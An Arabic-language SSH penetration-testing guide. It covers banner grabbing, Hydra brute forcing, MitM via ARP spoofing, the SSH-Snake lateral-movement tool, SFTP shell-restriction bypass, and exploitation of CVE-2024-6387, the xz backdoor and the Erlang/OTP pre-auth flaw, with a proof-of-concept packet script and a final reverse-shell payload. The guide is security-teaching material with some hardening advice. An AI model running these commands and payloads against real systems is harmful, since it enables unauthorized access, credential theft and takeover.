اختبار اختراق SSH — دليل شامل للاستطلاع، تخمين بيانات الاعتماد، واستغلال الثغرات الحديثة

معلومات أساسية

SSH (Secure Shell أو Secure Socket Shell) هو بروتوكول شبكي يوفّر اتصالاً آمناً بجهاز عن بُعد عبر شبكة غير موثوقة. يُعتبر أساسياً للحفاظ على سرية وسلامة البيانات عند الوصول إلى أنظمة بعيدة، وهو البروتوكول الأكثر انتشاراً للإدارة عن بُعد لخوادم Linux وأجهزة الشبكات.

المنفذ الافتراضي: 22

22/tcp open  ssh     syn-ack

خوادم SSH الشائعة:

• openSSH – تطبيق OpenBSD لـSSH، يأتي مدمجاً في توزيعات BSD وLinux، وفي Windows منذ Windows 10
• Dropbear – تطبيق SSH مخصص للبيئات محدودة الذاكرة والمعالج، يأتي مدمجاً في OpenWrt
• PuTTY – تطبيق SSH لويندوز، يُستخدم غالباً كعميل (Client) أما استخدامه كخادم فأقل شيوعاً
• CopSSH – تطبيق لـOpenSSH مخصص لويندوز

مكتبات SSH (تطبيق جانب الخادم):

• libssh – مكتبة C متعددة المنصات تطبّق بروتوكول SSHv2، مع ربط (Bindings) بلغات Python وPerl وR؛ تستخدمها KDE لخدمة sftp وGitHub للبنية التحتية الخاصة بـgit عبر SSH
• wolfSSH – مكتبة خادم SSHv2 مكتوبة بلغة ANSI C، مخصصة للأنظمة المدمجة (Embedded) وRTOS والبيئات محدودة الموارد
• Apache MINA SSHD – مكتبة Java مبنية على Apache MINA
• paramiko – مكتبة Python تطبّق بروتوكول SSHv2

الاستطلاع (Enumeration)

جمع معلومات البانر (Banner Grabbing)

أول خطوة عملية دائماً هي معرفة إصدار خادم SSH المستخدَم، لأن الإصدار وحده قد يكشف عن ثغرات معروفة:

nc -vn <IP> 22

أداة ssh-audit الآلية

ssh-audit أداة متخصصة بتدقيق إعدادات خادم SSH وعميله معاً.

النسخة المحدَّثة موجودة على https://github.com/jtesta/ssh-audit، وهي نسخة مُشتقة (Fork) من https://github.com/arthepsy/ssh-audit/.

المزايا:

• دعم بروتوكولي SSH1 وSSH2 من جهة الخادم
• تحليل إعدادات عميل SSH
• جمع البانر، والتعرف على الجهاز أو البرنامج ونظام التشغيل، وكشف الضغط (Compression)
• جمع خوارزميات تبادل المفاتيح (Key-Exchange)، ومفاتيح المضيف (Host-Key)، والتشفير، وخوارزميات التحقق من صحة الرسائل (MAC)
• إخراج معلومات عن كل خوارزمية (منذ متى متوفرة، هل أُزيلت أو عُطِّلت، هل غير آمنة/ضعيفة/قديمة، إلخ)
• إخراج توصيات بخصوص الخوارزميات (إضافة أو إزالة بناءً على إصدار البرنامج المكتشَف)
• إخراج معلومات أمنية (المشكلات المرتبطة، قائمة أرقام CVE المُسندة، إلخ)
• تحليل توافق إصدار SSH بناءً على معلومات الخوارزميات
• معلومات تاريخية من OpenSSH وDropbear SSH وlibssh
• تعمل على Linux وWindows
• بدون أي اعتماديات (Dependencies) خارجية

usage: ssh-audit.py [-1246pbcnjvlt] <host>

   -1,  --ssh1             force ssh version 1 only
   -2,  --ssh2             force ssh version 2 only
   -4,  --ipv4             enable IPv4 (order of precedence)
   -6,  --ipv6             enable IPv6 (order of precedence)
   -p,  --port=<port>      port to connect
   -b,  --batch            batch output
   -c,  --client-audit     starts a server on port 2222 to audit client
                               software config (use -p to change port;
                               use -t to change timeout)
   -n,  --no-colors        disable colors
   -j,  --json             JSON output
   -v,  --verbose          verbose output
   -l,  --level=<level>    minimum output level (info|warn|fail)
   -t,  --timeout=<secs>   timeout (in seconds) for connection and reading
                               (default: 5)
$ python3 ssh-audit <IP>

يمكن مشاهدة الأداة أثناء العمل عبر تسجيل Asciinema هذا.

الحصول على المفتاح العام لخادم SSH

ssh-keyscan -t rsa <IP> -p <PORT>

خوارزميات التشفير الضعيفة

يكتشف Nmap هذا افتراضياً ضمن فحصه القياسي. يمكن أيضاً استخدام sslscan أو sslyze لهذا الغرض تحديداً.

سكربتات Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

ssh

تخمين أسماء المستخدمين وكلمات المرور والمفاتيح الخاصة

تعداد أسماء المستخدمين

في بعض إصدارات OpenSSH يمكن تنفيذ هجوم توقيتي (Timing Attack) لتعداد أسماء المستخدمين الصالحة. يمكن استخدام وحدة Metasploit التالية لاستغلال ذلك:

msf> use scanner/ssh/ssh_enumusers

الهجوم بالقوة العمياء (Brute Force)

بعد التأكد من اسم مستخدم صالح (أو بقائمة أسماء محتملة)، الخطوة التالية هي تجربة كلمات مرور متعددة بشكل آلي حتى إيجاد المطابقة الصحيحة. أداة Hydra هي الأكثر استخداماً لهذا الغرض على SSH:

hydra -l <username> -P <wordlist.txt> ssh://<IP>

أو بحال عدم معرفة اسم المستخدم أيضاً، وتجربة أكثر من اسم مستخدم محتمل بنفس الوقت:

hydra -L <usernames.txt> -P <wordlist.txt> ssh://<IP>

بخصوص قوائم الكلمات (Wordlists): مشروع SecLists (المرجع الأشهر بمجتمع اختبار الاختراق لقوائم كلمات المرور والحمولات الجاهزة) يوفّر قوائم مخصصة لـSSH تحديداً — قائمة موسّعة لبيانات الاعتماد الافتراضية الشائعة على أنظمة وأجهزة متعددة، وقائمة مختصرة بأكثر 20 كلمة مرور شيوعاً في بيئات SSH تحديداً (مفيدة كخطوة أولى سريعة قبل اللجوء لقائمة أكبر وأبطأ). كما يمكن الاستفادة من جدول بيانات الاعتماد الافتراضية للأجهزة والبائعين المختلفين أدناه كمصدر إضافي لأسماء المستخدمين وكلمات المرور الشائعة حسب نوع الجهاز المستهدف.

1- قائمة Seclists

2- قائمة أسماء مستخدمين وكلمات سر افتراضية من Seclists

تخمين المفتاح الخاص (Private Key Brute Force)

إذا كان لديك بعض مفاتيح SSH الخاصة التي يُحتمل استخدامها… جرّبها. يمكنك استخدام سكربت Nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

أو وحدة Metasploit الإضافية:

msf> use scanner/ssh/ssh_identify_pubkeys

أو استخدام ssh-keybrute.py (بلغة Python 3 الأصلية، خفيفة، وتدعم تفعيل الخوارزميات القديمة): snowdroppe/ssh-keybrute.

المفاتيح المكسورة المعروفة (Known Bad Keys)

يمكن العثور عليها هنا: ssh-badkeys/authorized على GitHub.

مفاتيح SSH ضعيفة / PRNG دبيان القابل للتنبؤ

بعض الأنظمة لديها ثغرات معروفة في البذرة العشوائية (Random Seed) المستخدَمة لتوليد المواد التشفيرية. هذا قد يؤدي إلى تقليص فضاء المفاتيح المحتملة (Keyspace) بشكل كبير جداً، بما يجعله قابلاً للتخمين بالقوة العمياء. مجموعات مفاتيح مُولَّدة مسبقاً على أنظمة دبيان المتأثرة بضعف PRNG متوفرة هنا: g0tmi1k/debian-ssh.

يجب البحث هناك عن مفاتيح صالحة للجهاز الهدف.

تسجيل الدخول عبر Kerberos / GSSAPI SSO

إذا كان خادم SSH الهدف يدعم GSSAPI (مثلاً OpenSSH على Windows في وحدة تحكم بالنطاق Domain Controller)، يمكن المصادقة باستخدام تذكرة Kerberos (TGT) بدلاً من كلمة مرور.

سير العمل من جهاز مهاجم يعمل بلينكس:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

ملاحظات:

• إذا اتصلت باسم خاطئ (مثلاً اسم مختصر، أو اسم بديل Alias، أو ترتيب خاطئ في /etc/hosts)، قد تحصل على الخطأ: “Server not found in Kerberos database” لأن SPN لا يتطابق.
• nxc ssh --kerberos يمكنه أيضاً استخدام ذاكرة التخزين المؤقت (ccache) الخاصة بك لمصادقة Kerberos.

بيانات الاعتماد الافتراضية

هجوم الوسيط على SSH (SSH-MitM)

إذا كنت موجوداً على نفس الشبكة المحلية للضحية الذي سيتصل بخادم SSH باستخدام اسم مستخدم وكلمة مرور، يمكنك محاولة تنفيذ هجوم وسيط (MitM) لسرقة بيانات الاعتماد تلك:

مسار الهجوم:

• تحويل حركة المرور: المهاجم يحوّل حركة مرور الضحية إلى جهازه، ما يعترض فعلياً محاولة الاتصال بخادم SSH.
• الاعتراض والتسجيل: جهاز المهاجم يعمل كـوسيط (Proxy)، يلتقط بيانات دخول المستخدم عبر التظاهر بأنه خادم SSH الشرعي.
• تنفيذ الأوامر وإعادة التوجيه: أخيراً، خادم المهاجم يسجّل بيانات اعتماد المستخدم، ويمرّر الأوامر إلى خادم SSH الحقيقي، ينفّذها، ويعيد النتائج إلى المستخدم، ما يجعل العملية تبدو سلسة وشرعية.

أداة SSH MITM تنفّذ بالضبط ما وُصف أعلاه.

لتنفيذ عملية الوسيط (MitM) الفعلية، تحتاج أولاً لإجبار حركة مرور الضحية على المرور عبر جهازك بدلاً من الوصول مباشرة لخادم SSH، وأشيع تقنيتين لتحقيق ذلك على شبكة محلية هما:

• انتحال ARP (ARP Spoofing): بروتوكول ARP يُستخدم لربط عناوين IP بعناوين MAC على الشبكة المحلية، لكنه لا يتضمن أي آلية تحقق من صحة الردود. يرسل المهاجم ردود ARP مزوَّرة للضحية (وأحياناً للراوتر أيضاً)، تُخبر كل طرف بأن عنوان MAC الخاص بالمهاجم هو عنوان الطرف الآخر — ما يجعل كل حركة المرور بينهما تمر فعلياً عبر جهاز المهاجم أولاً. أدوات مثل arpspoof أو bettercap تؤتمت هذه العملية.
• انتحال DNS (DNS Spoofing): بدلاً من التلاعب بمسار الشبكة نفسه، يعترض المهاجم استعلامات DNS الخاصة بالضحية (بعد تنفيذ ARP Spoofing عادةً كخطوة تمهيدية) ويرد عليها بعنوان IP الخاص بجهازه بدلاً من العنوان الحقيقي، ما يوجّه الضحية للاتصال بخادم SSH وهمي يتحكم به المهاجم مباشرةً بدل الخادم الحقيقي.

كلتا التقنيتين تتطلبان وجوداً فعلياً على نفس الشبكة المحلية للضحية (Layer 2)، وكلتاهما صاخبتان جداً وقابلتان للكشف بسهولة عبر أي أداة مراقبة شبكة تتحقق من ثبات جداول ARP (راجع قسم OPSEC أدناه).

أداة SSH-Snake

إذا أردت التنقّل عبر شبكة باستخدام مفاتيح SSH الخاصة المكتشَفة على الأنظمة، عبر استخدام كل مفتاح خاص على كل نظام للبحث عن مضيفين جدد، فأداة SSH-Snake هي ما تحتاجه.

تنفّذ SSH-Snake المهام التالية تلقائياً وبشكل تكراري (Recursively):

1. على النظام الحالي، تبحث عن أي مفاتيح SSH خاصة.
2. على النظام الحالي، تبحث عن أي مضيفين أو وجهات (user@host) قد تقبل هذه المفاتيح الخاصة.
3. تحاول الاتصال عبر SSH بكل الوجهات المكتشَفة باستخدام كل المفاتيح الخاصة المكتشَفة.
4. إذا نجح الاتصال بوجهة ما، تُكرَّر الخطوات من 1 إلى 4 على النظام المتصل به حديثاً.

الأداة ذاتية النسخ وذاتية الانتشار بالكامل — وبدون ملفات (Fileless) بالكامل أيضاً.

أخطاء الإعداد الشائعة (Config Misconfigurations)

تسجيل دخول root

من الشائع أن تسمح خوادم SSH بتسجيل دخول مستخدم root افتراضياً، وهذا يشكّل خطراً أمنياً كبيراً. تعطيل تسجيل دخول root خطوة أساسية لتأمين الخادم. يمكن تخفيف مخاطر الوصول غير المصرَّح به بصلاحيات إدارية وهجمات القوة العمياء عبر هذا التغيير.

لتعطيل تسجيل دخول root في OpenSSH:

1. حرّر ملف إعداد SSH عبر: sudoedit /etc/ssh/sshd_config
2. غيّر الإعداد من #PermitRootLogin yes إلى PermitRootLogin no.
3. أعد تحميل الإعداد عبر: sudo systemctl daemon-reload
4. أعد تشغيل خادم SSH لتطبيق التغييرات: sudo systemctl restart sshd

تخمين كلمات مرور SFTP

بما أن SFTP يعمل فعلياً فوق بروتوكول SSH نفسه (نفس المنفذ 22، ونفس آلية المصادقة الأساسية)، فإن تخمين بيانات اعتماد SFTP بالقوة العمياء مطابق عملياً لتخمين بيانات اعتماد SSH — نفس الأدوات ونفس المنطق تماماً، مع تحديد بروتوكول sftp صراحةً بدلاً من ssh عند استخدام Hydra:

hydra -l <username> -P <wordlist.txt> sftp://<IP>

لا حاجة لأداة أو تقنية مختلفة — أي خادم يقبل اتصالات SFTP يقبل بيانات اعتماد SSH نفسها، لذا تنطبق نفس الملاحظات المذكورة أعلاه بخصوص قوائم الكلمات ومصادرها.

تنفيذ أوامر عبر SFTP

هناك إغفال شائع يحدث بإعدادات SFTP، حيث يقصد المسؤولون السماح للمستخدمين بتبادل الملفات دون تفعيل وصول شل (Shell) بعيد. رغم إعداد المستخدمين بأصداف غير تفاعلية (Non-Interactive Shells) (مثل /usr/bin/nologin) وحصرهم داخل مجلد محدَّد، تبقى ثغرة أمنية قائمة. يستطيع المستخدمون تجاوز هذه القيود عبر طلب تنفيذ أمر (مثل /bin/bash) مباشرةً بعد تسجيل الدخول، قبل أن يتولى الصدف غير التفاعلي المخصَّص لهم زمام الأمر. هذا يسمح بتنفيذ أوامر غير مصرَّح بها، ما يقوّض إجراءات الحماية المقصودة.

السبب التقني وراء هذا الالتفاف: تقييد المستخدم بصدفة مثل nologin يمنع فتح جلسة تفاعلية عادية فقط — أي محاولة اتصال SSH عادية بدون تحديد أمر معيَّن. لكن عندما يطلب العميل تنفيذ أمر محدَّد مباشرةً ضمن طلب الاتصال نفسه (عبر قناة “exec” الخاصة ببروتوكول SSH، وليس عبر فتح جلسة تفاعلية كاملة)، يمرّ هذا الطلب أحياناً بمسار مختلف تماماً لا يستدعي الصدفة المقيَّدة إطلاقاً — طالما لم يُفرَض أمر بديل صراحةً عبر توجيه ForceCommand بإعداد الخادم. النتيجة: المستخدم يبدو ظاهرياً “محصوراً” بصدفة nologin، لكنه فعلياً يستطيع تنفيذ أي أمر يريده طالما مرّره كجزء من أمر الاتصال نفسه — وهذا يفرغ فكرة “حساب مخصَّص لنقل الملفات فقط” من معناها بالكامل، ويمنح وصولاً كاملاً لصدفة تفاعلية حقيقية.

مثال توضيحي (بافتراض حساب خدمة باسم svc_transfer مقيَّد نظرياً بصدفة nologin):

ssh -v svc_transfer@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(svc_transfer) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh svc_transfer@192.168.1.94 /bin/bash

لاحظ الفرق بين الأمرين: الأول (id) استُخدم فقط للتحقق من نجاح الالتفاف (يعرض هوية المستخدم فعلياً بدل رفض الاتصال)، أما الثاني فيطلب صدفة /bin/bash تفاعلية كاملة مباشرةً — وهذا يمنح المهاجم وصولاً شاملاً للنظام، لا يقتصر على نقل الملفات كما كان مخطَّطاً له أصلاً.

فيما يلي مثال عن إعداد SFTP آمن (/etc/ssh/sshd_config – openSSH) لنفس الحساب svc_transfer، يسدّ هذه الثغرة تحديداً:

Match User svc_transfer
        ChrootDirectory %h
        ForceCommand internal-sftp
        AllowTcpForwarding no
        PermitTunnel no
        X11Forwarding no
        PermitTTY no

هذا الإعداد يسمح بـSFTP فقط: يعطّل الوصول إلى الشل عبر فرض أمر البداية (ForceCommand) — وهو ما يجعل أي أمر بديل يحاول العميل تمريره (كـ/bin/bash) يُتجاهَل تماماً لصالح الأمر المفروض internal-sftp بدلاً منه — ويعطّل الوصول إلى TTY، وأيضاً يعطّل كل أنواع توجيه المنافذ (Port Forwarding) أو الأنفقة (Tunneling). الفرق الجوهري عن الإعداد غير الآمن هو تحديداً وجود ForceCommand هنا، الذي يتجاوز أي أمر يطلبه العميل صراحةً — بعكس الاعتماد فقط على صدفة nologin بملف /etc/passwd والتي لا تحمي من هذا المسار كما رأينا أعلاه.

توجيه الأنفاق عبر SFTP (SFTP Tunneling)

إذا كان لديك وصول إلى خادم SFTP، يمكنك أيضاً توجيه حركة مرورك عبره — مثلاً باستخدام توجيه المنافذ (Port Forwarding) الاعتيادي:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

الروابط الرمزية بـSFTP (SFTP Symlink)

يمتلك sftp الأمر “symlink”. لذلك، إذا كانت لديك صلاحيات كتابة في مجلد ما، يمكنك إنشاء روابط رمزية (Symlinks) لـمجلدات/ملفات أخرى. بما أنك على الأرجح محصور داخل بيئة Chroot، هذا لن يكون مفيداً بشكل خاص لك، لكن، إذا استطعت الوصول إلى الرابط الرمزي الذي أنشأته من خدمة بلا Chroot (مثلاً، إذا استطعت الوصول للرابط الرمزي عبر الويب)، يمكنك فتح الملفات المرتبَطة رمزياً عبر الويب.

مثلاً، لإنشاء رابط رمزي من ملف جديد “froot” إلى “/”:

sftp> symlink / froot

إذا استطعت الوصول للملف “froot” عبر الويب، ستتمكن من عرض محتوى مجلد الجذر ("/") الخاص بالنظام.

طرق المصادقة (Authentication Methods)

في البيئات عالية الأمان، من الممارسات الشائعة تفعيل المصادقة القائمة على المفتاح فقط أو المصادقة الثنائية العوامل بدلاً من المصادقة البسيطة بعامل واحد (كلمة المرور). لكن غالباً ما تُفعَّل طرق المصادقة الأقوى دون تعطيل الطرق الأضعف. حالة شائعة هي تفعيل publickey بإعدادات OpenSSH وتعيينها كطريقة افتراضية، دون تعطيل password. لذا باستخدام وضع الإسهاب (Verbose) بعميل SSH، يستطيع المهاجم رؤية أن طريقة أضعف مفعّلة:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

مثلاً إذا كان هناك حد أقصى لمحاولات المصادقة الفاشلة ولم تصل أبداً لفرصة تجربة طريقة كلمة المرور، يمكن استخدام خيار PreferredAuthentications لإجبار استخدام هذه الطريقة.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

مراجعة إعدادات خادم SSH ضرورية للتأكد من أن الطرق المتوقَّعة فقط مصرَّح بها. استخدام وضع الإسهاب على العميل يساعد على رؤية فعالية الإعداد.

ملفات الإعداد (Config Files)

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

فحص المتانة (Fuzzing) بحق تطبيق SSH نفسه — أي إرسال مدخلات مشوَّهة أو غير متوقَّعة عمداً للبروتوكول لمحاولة كشف أعطال أو سلوكيات غير معرَّفة قد تشير لثغرات جديدة — أداتان جاهزتان لهذا الغرض:

• sshfuzz: سكربت متخصص بفحص متانة تطبيقات SSH تحديداً، متاح للتحميل من PacketStorm Security.
• وحدة Metasploit المساعدة auxiliary/fuzzers/ssh/ssh_version_2: تُرسل تنويعات مشوَّهة من رسائل بروتوكول SSHv2 نحو الهدف لاختبار مدى ثباته تحت مدخلات غير اعتيادية.

أحدث الثغرات الحرجة (2024)

CVE-2024-6387 – سباق معالج الإشارة regreSSHion

أزالت الإصدارات 8.5p1 إلى 9.7p1 من OpenSSH آلية الحماية الآمنة غير المتزامنة (Async-Safe Logging Guard) داخل معالج إشارة SIGALRM بخدمة sshd، ما أعاد إحياء الثغرة CVE-2006-5051 وسمح لمهاجمين غير مصادَقين بإفساد كومة الذاكرة (Heap) الخاصة بـglibc بمجرد انتهاء صلاحية LoginGraceTime. سلّحت شركة Qualys هذه الثغرة لتحقيق تنفيذ أوامر عن بُعد (RCE) بصلاحيات root على أنظمة Linux ذات المعمارية 32-بت، ولاحظت أن الأهداف ذات معمارية 64-بت تبقى قابلة للاستغلال بالقوة العمياء (Brute-Forceable) مع عدد كافٍ من محاولات “التحضير” (Grooming) — لذا أعطِ الأولوية للأنظمة التي لا تزال تكشف عن تلك الإصدارات أثناء جمع البانر.

الاستغلال قائم على التوقيت: تُغرق الخدمة (Daemon) بجلسات نصف مفتوحة لا تكتمل مصادقتها أبداً، بحيث يصطدم المراقب صاحب الصلاحيات (Privileged Monitor) بمسار الإشارة المعطوب بشكل متكرر بينما تُشكِّل حالة مخصِّص الذاكرة (Allocator State).

نطاق الإصدارات بدقة أكبر (بحسب تحليل Qualys): الإصدارات الأقدم من 4.4p1 كانت عرضة للثغرة الأصلية CVE-2006-5051 ما لم تُصحَّح بشكل منفصل، بينما الإصدارات من 4.4p1 وحتى 8.4p1 كانت آمنة فعلياً بفضل تصحيح شامل أُضيف حينها لسباق الإشارة الأصلي. المشكلة عادت تحديداً بالإصدارات 8.5p1 حتى 9.7p1، وصُحِّحت نهائياً بالإصدار 9.8p1 فما فوق. أنظمة OpenBSD غير متأثرة إطلاقاً، لأن مطوّريها طبّقوا آلية حماية آمنة منذ عام 2001 تمنع هذا النوع من السباقات بالأساس.

صعوبة الاستغلال الفعلية: الثغرة “قائمة على سباق عن بُعد” (Remote Race Condition)، ما يجعلها صعبة الاستغلال نسبياً وتتطلب محاولات متعددة للنجاح — يحتاج المهاجم لتجاوز عشوائية تخطيط مساحة العنونة (ASLR) والتسبب بإفساد ذاكرة مضبوط ومتحكَّم به، لا عشوائي. هذا يعني عملياً آلاف المحاولات المتكررة قبل تحقيق تنفيذ ناجح، وهو ما يفسّر سبب اعتماد Qualys على الإغراق بجلسات قصيرة العمر كأسلوب استغلال.

مؤشر رصد إضافي: بحسب Qualys، محاولات الاستغلال تترك كماً كبيراً من سطور “Timeout before authentication” بسجلات النظام — إذا لاحظت هذا النمط بشكل متكرر ومكثف بوقت قصير، فهذا مؤشر قوي على محاولة استغلال جارية لهذه الثغرة تحديداً، وليس مجرد اتصالات فاشلة عادية.

نصائح عملية:

• تحديد الإصدار عبر ssh -V (بانر بعيد) أو ssh -G <target> | grep ^userauths، والتأكد من أن LoginGraceTime غير صفري.
• اختبار ضغط على هدف تجريبي عبر إغراقه بجلسات قصيرة العمر لا تطلب أي مصادقة، مثلاً:

parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}

• الأنظمة التي تفرض LoginGraceTime 0 لا تصل أبداً إلى مسار الكود المعطوب — يُتوقَّع فقط احتمال هجوم حرمان من الخدمة (DoS) عبر استنفاد MaxStartups.

CVE-2024-3094 – الباب الخلفي بسلسلة التوريد xz/liblzma

شحنت الإصدارات 5.6.0 و5.6.1 من XZ Utils أرشيفات إصدار (Release Tarballs) مطعَّمة بحصان طروادة، حيث تقوم سكربتات البناء بفك ضغط كائن مخفي أثناء تجهيز الحزم (Packaging) على أنظمة Debian/RPM لمعمارية x86-64 Linux. تستغل الحمولة آلية تحليل IFUNC الخاصة بـglibc لخطف (Hook) دالة RSA_public_decrypt داخل sshd (عندما تُجبر تصحيحات systemd مكتبة liblzma على التحميل)، وتقبل حزماً موقَّعة من المهاجم لتحقيق تنفيذ أوامر قبل المصادقة (Pre-Auth Code Execution). خطورة الثغرة بلغت CVSS 10.0 — أعلى تصنيف ممكن.

كيف اكتُشفت الثغرة؟ الفضل باكتشاف هذا الباب الخلفي يعود للباحث Andres Freund، الذي لاحظ استهلاكاً غير طبيعي لوحدة المعالجة المركزية (CPU) من قِبَل عملية sshd أثناء عمله الاعتيادي — تفصيل بسيط دفعه لتحقيق أعمق كشف عن كامل العملية. أعلن عن اكتشافه على قائمة Openwall البريدية للأمن المفتوح المصدر (oss-security) بتاريخ 29 آذار/مارس 2024.

الجدول الزمني للهجوم: أُضيف ملف بناء خبيث لحزمة xz-utils بتاريخ 24 شباط/فبراير 2024، وصدر الإصدار 5.6.0 بنفس الفترة، ثم صدر الإصدار 5.6.1 بتاريخ 9 آذار/مارس. وصلت الحزمة المخترَقة لتوزيعة Fedora بتاريخ 27 شباط/فبراير، قبل أن يُكشَف الاختراق علنياً بتاريخ 29 آذار.

آلية الحقن بمنتهى الدقة: اعتمد المهاجم على “ملفات اختبار مضغوطة” مصمَّمة بعناية داخل الإصدارين 5.6.0 و5.6.1، تستهدف سكربت الإعداد (Configure Script) الخاص بـtar. أُدرِج ملف مُعدَّل باسم build-to-host.m4 ضمن أرشيفات الإصدار على GitHub، لكنه كان غائباً عن مستودع Git نفسه — ما منع تتبعه عبر أنظمة التحكم بالإصدار (Version Control) العادية. الحيلة التقنية بحد ذاتها كانت بسيطة جداً: محرف نقطة (.) واحد تسبَّب بفشل مقصود بأداة البناء، وهذا الفشل بالذات هو ما أدى لتعطيل بيئة عزل أمنية (Security Sandbox) كانت مفعَّلة.

الإسناد: يرتبط الاختراق بحساب GitHub يحمل اسم “JiaT75” (المعروف باسم Jia Tan)، إلى جانب هويتين مرتبطتين هما “Jigar Kumar” و"Dennis Ens" — على الأغلب هويات مستعارة استُخدمت على مدى فترة طويلة لبناء ثقة بمشروع XZ Utils قبل تنفيذ الاختراق. الهوية الحقيقية للمنفِّذ، وما إذا كان هناك تورط لجهة حكومية، لا يزال قيد التحقيق حتى اللحظة.

بما أن الكود الخبيث موجود فقط داخل تلك الثنائيات المُعبَّأة (Packaged)، يجب أن يفحص التحقق الهجومي ما ثُبِّت فعلياً على الضحية: تحقق من xz --version، وrpm -qi xz/dpkg -l xz-utils، وقارن بصمات (Hashes) ملف /usr/lib*/liblzma.so*، وافحص ldd /usr/sbin/sshd | grep -E "systemd|lzma" لمعرفة ما إذا كانت sshd تسحب أصلاً الاعتمادية (Dependency) المخترَقة. تبقى آلية الخطف خاملة إلا إذا كان مسار العملية /usr/sbin/sshd، لذا غالباً ما تحتاج لإعادة إنشاء بيئة بناء التوزيعة (Distro Build Environment) نفسها لإعادة إنتاج الباب الخلفي داخل بيئة مخبرية. للفحص الآلي، يمكن استخدام أداة Snyk: snyk test --unmanaged للتطبيقات، أو snyk container test لفحص الحاويات (Containers)، إضافة للبحث المباشر عن “CVE-2024-3094” ضمن نتائج فحص مستودعات Git.

تجاوز آلة حالة المصادقة (تنفيذ أوامر قبل المصادقة)

تحتوي عدة تطبيقات لخوادم SSH على أخطاء منطقية في آلة الحالة المحدودة الخاصة بالمصادقة (Authentication Finite-State Machine)، تسمح للعميل بإرسال رسائل طبقة الاتصال (Connection-Protocol) قبل انتهاء المصادقة. بما أن الخادم يفشل بالتحقق من أنه في الحالة الصحيحة، تُعامَل تلك الرسائل وكأن المستخدم مصادَق بالكامل، ما يؤدي إلى تنفيذ أوامر غير مصادَق عليه أو إنشاء جلسة.

على مستوى البروتوكول، أي رسالة SSH برمز رسالة (Message Code) ≥ 80 (0x50) تنتمي إلى طبقة الاتصال (Connection) (وفق RFC 4254) ويجب قبولها فقط بعد نجاح المصادقة (وفق RFC 4252). إذا عالج الخادم إحدى تلك الرسائل بينما لا يزال في حالة SSH_AUTHENTICATION، يستطيع المهاجم إنشاء قناة (Channel) فوراً وطلب إجراءات مثل تنفيذ أوامر، توجيه منافذ (Port-Forwarding)، إلخ.

خطوات الاستغلال العامة

1. إنشاء اتصال TCP بمنفذ SSH الخاص بالهدف (غالباً 22، لكن بعض الخدمات قد تعرض Erlang/OTP على المنافذ 2022 أو 830 أو 2222…).
2. صياغة حزمة SSH خام:
   • packet_length بحجم 4 بايت (Big-Endian)
   • message_code بحجم بايت واحد ≥ 80 (مثلاً SSH_MSG_CHANNEL_OPEN = 90، SSH_MSG_CHANNEL_REQUEST = 98)
   • حمولة (Payload) تُفهَم من نوع الرسالة المختار
3. إرسال الحزمة (الحزم) قبل إكمال أي خطوة مصادقة.
4. التفاعل مع واجهات الخادم المتاحة الآن قبل المصادقة (تنفيذ أوامر، توجيه منافذ، وصول لنظام الملفات، …).

مخطط إثبات مفهوم (Proof-of-Concept) بلغة Python:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

عملياً ستحتاج لتنفيذ (أو تخطي) تبادل المفاتيح (Key-Exchange) بحسب التطبيق المستهدَف، لكن لا تُنفَّذ أي مصادقة إطلاقاً.

ثغرة Erlang/OTP sshd (CVE-2025-32433)

• الإصدارات المتأثرة: OTP < 27.3.3، و26.2.5.11، و25.3.2.20
• السبب الجذري: خدمة SSH الأصلية بلغة Erlang لا تتحقق من الحالة الحالية قبل استدعاء ssh_connection:handle_msg/2. لذلك أي حزمة برمز رسالة بين 80 و255 تصل إلى معالج طبقة الاتصال بينما الجلسة لا تزال في حالة userauth.
• الأثر: تنفيذ أوامر عن بُعد (RCE) غير مصادَق عليه (غالباً ما تعمل الخدمة بصلاحيات root على الأجهزة المدمجة/بيئات OT).

مثال حمولة (Payload) تُطلق شل عكسي (Reverse Shell) مربوط بالقناة التي يتحكم بها المهاجم:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

